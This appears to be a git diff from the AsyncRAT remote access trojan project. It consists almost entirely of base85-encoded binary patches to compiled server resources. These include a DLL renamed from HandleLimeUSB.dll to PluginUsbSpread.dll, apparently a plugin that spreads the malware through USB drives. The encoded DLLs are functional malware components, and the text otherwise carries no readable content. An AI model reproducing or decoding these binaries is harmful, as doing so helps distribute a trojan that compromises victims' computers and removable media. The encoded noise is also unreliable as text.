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 ORXgm1`eD)9&-}kCcDASh delta 15997 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 pl-;7frHgw2-#kfI&76bLNImB3we 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 V|1acQ4V&=K`G|hu{{JHa{|m)N2G{@q literal 0 HcmV?d00001 diff --git a/AsyncRAT-C#/Server/Resources/HandleLimeUSB.dll b/AsyncRAT-C#/Server/Resources/PluginUsbSpread.dll similarity index 79% rename from AsyncRAT-C#/Server/Resources/HandleLimeUSB.dll rename to AsyncRAT-C#/Server/Resources/PluginUsbSpread.dll index 93405d88bef18cf43a0675d0e8a497b04fa29825..56b9df0d1ce09af655d986c1df24bd5408444716 100644 GIT binary patch delta 2409 zcmaJ@e{fV+75>hB@7?#KVVjU24J~LfrO6_uNi~H;Ap)uGG6N=VcQA}-6N1dv5YnY6 zaga?~QpyOJ_1R?8U6*HJbzEm9KW85=|#VT@sK}A%c;vJkxQpi`Qn&GZ}?~Jnu3cKT7O5`9%Ft099ssN-v*?8T2 z-Lyb)2y{?3N*!(T6 zG~=J_XBo#d4q=GG?L}6SaVe5id%K!4QTUF`LK0?i+Iqz}0vjuf zq3SwEj)ZFW6d?IMHUX-u)<;r zPGzh)W>nk^Cz#Irirpu&F~%0x@5Zm(cSSA+W^1P|pAYM^%Id~*MlSN15l-?d5**%Q zgg^79xsD^6FVrzF>6jqzYeIp>RqPd5YboWtj(o{hO4|FqIB$326;sj}Bj@Y1r=%it zjT|`6Ox{wriDJeT?i|KCuM93ajS2*D#i>L&E;`kW`CbhwF=;Q+dL476hj7@aXKr{a zS>Ncb(maX=9Fc8^*WBqzH-WOmTw|~e)DbCOWh+JzmVQxZd;09asG}(9NESs zMllN(jbp9h(I|Er*>qG-cN8JFfDYhpnofgS$;#mKC}E|S$`~)WlNiKSN8y;GlsZe{ zI=h07b1PMJnzO2D5+Mo^k!m!E3FDg-MEnJ(k)p?U+$C;n9&TzR(@lVFxxW+MWxkVy~ z^F}{{w8#vKIyxDbWujge4$(fVN<^t#jPtL+M`DQx(S)&@6K1&TRzL1l>znqd2+}jy zrqLG<({XuFwCTcm=x`6SQs^ENJ zpC(0u6E2HN$~UfxUfs|h#u8&t^L>mFW0bLs#u+DZlur5w;_KoY__^n2_{JbKYyNS~ zLz18CPsVN4As>$;M4j|Rq4Y^((+$o$1F!P2LvI&g0`Q+}pXZ-zUl6Em-moUx5^jyH zZfJ_EPX#-kG;aQ1t z!ZqP@-zt@U>{`ul{<@`#vdb^~XS?sc;}h+bwl+1YyiNRCa(z7QFYUQabPXqF=J~On zO@1J`U`mrJo*7Mkee!4Yihm_pM7#YNz3b=Sk39ZC3GoFzg4Kxexq(+?8RJ^Efm*gU zU=5<|3G)TVSZzQPB3O?`f4ukeMlJIEYrV5({NKpb{HI39-J5=2+FOyz*>#>0W%hpn D|FQfh delta 2387 zcmZ`*4Qv%v7XHqinL9tW&z3@I6%A0ZeJnzOw56!jKr7Tm*tfL{4MHqXwV{+!jIplz z`YdP>6rQ8)16*adE4D20Cr{b30GyTbKaLla|4b23YjrS-f6l+z?P;8T8CbLmf#I>?JZG6Z1l)5obdO%La-Ho;NcP{7aK*In&I4GyG z0>`p}G}dyaRhF0X`TyDesHWS)nI^ZxLqfVOro>4r#QZ9uFd!AKHIzQnQ+yvOJY8Nb7TO^Za?=5W)e>F-NfD4mJX~ixgk2n>a3u42kiMnvm|O z$^V8@+N4r$5Lem~+cbWtagO*xevC@K-4b=;JU6;tmuwaxUR_{}0+9Ztp@@GLC=7uJ zr6I@BCO>}7Y!%A6?6i=or_6Q1+~eymglWd85J6Aj3#71!c{;u|HZn%&8OC0FGviK; zTREztIm?PM&P9y=G*qRGW_=_xxRE(S!^&*KXrqD6A;Yy3>m22bC9Ms1CtEk>Bz#wR zo!s*7q(xK$11TdCzE8|fnCMJe?@%YV{n9lF-zu-3B+T4|^@gz*Hs<9*)qgmvPxit= zO~R>rbFelUdcW~9IoOo6UUN^A3nwp;W}jsX57#HH31*2%!Rwc-3XzIqNh{B+6_>*a zCgxpdZxm_R%@)^h!@t~9A_JYHv{RQK1nUpVYQu9z1_m)B9OYFc{J@Jrc%L`TMf{KE zvvf?ij>+YHO&F-Ln!N%GETw#@BVV+YlJG7M^L8g*F(vI}H1MMiS}T=OV5H**dl+x2 zY>~@2%N@;lla~({Ek*%?IO7y!98NhUjGkADVtj7jto0CcrI+Jfql)=CcOL6YyoH+A zq8e|=CWNc7*nI$1I4@Q(TE;3)wApUw(6R2{I5gLo$I5E0EO$Dv3>U0!#;J}fU(M;7 z@V5CTB2bIC3ddli`4mKWle2)OiF7Bq+R=kDZlwob+hIzlt;R~qrWRw3j){`1 z%MYW&RDfc7#eAEJ=>dBW1?gLQpT=oDh}q5&<{wxmxLlF=j`0~>;F$exjtJsQqXR*j zYz9S$`oc0_RO!OywAq>@YH6(K<$rQr&}M9OvxkGE2Ne99hjc5cipR+?MSe*K<$PK)#skc+Kcu>K9R- za849chVi3VuN(S1W1i8a`OA!zMh{~?^)mM30QLFX!%M?O{M_?1d}$Ew)BKm3hc@09 zzm03rA-{|x%y$xr$`dDzjh8rYD7?wXV|u#)CjkHX=837(tLqol)y$|}Qd3zm#s9Rq zBz|qgH-00(x1uB7v~rI{h)-P|v1pe6*1GZ5y_kr?xQKRB+AZ_`xuSLWtQjwEZM|mq zU%ap4d!G2rn6ADUR0FE^Vm|u#+n}#aDL)VOTD>?*+JQe;lvebd*_L+8_FZL>W%Vl` ziL@T@&$X2e{Z*r58Wt@8?&6P-i{nARy8TMg@T&i4`wD-5`%pg+o1A)^s+=6R`BkxJ zX@~!PEQezLRqK}*m-364c#qfPZq%TW&()~IOvWW_1Jjw+V-agLn1NcYR-yt^{JrZZ k7&9=yH#UsS{@ti}*@hhy&3D|F5?@B^3gYQcpJm1V3Dauv`2YX_ diff --git a/AsyncRAT-C#/Server/Resources/circle-loading-gif.gif b/AsyncRAT-C#/Server/Resources/circle-loading-gif.gif deleted file 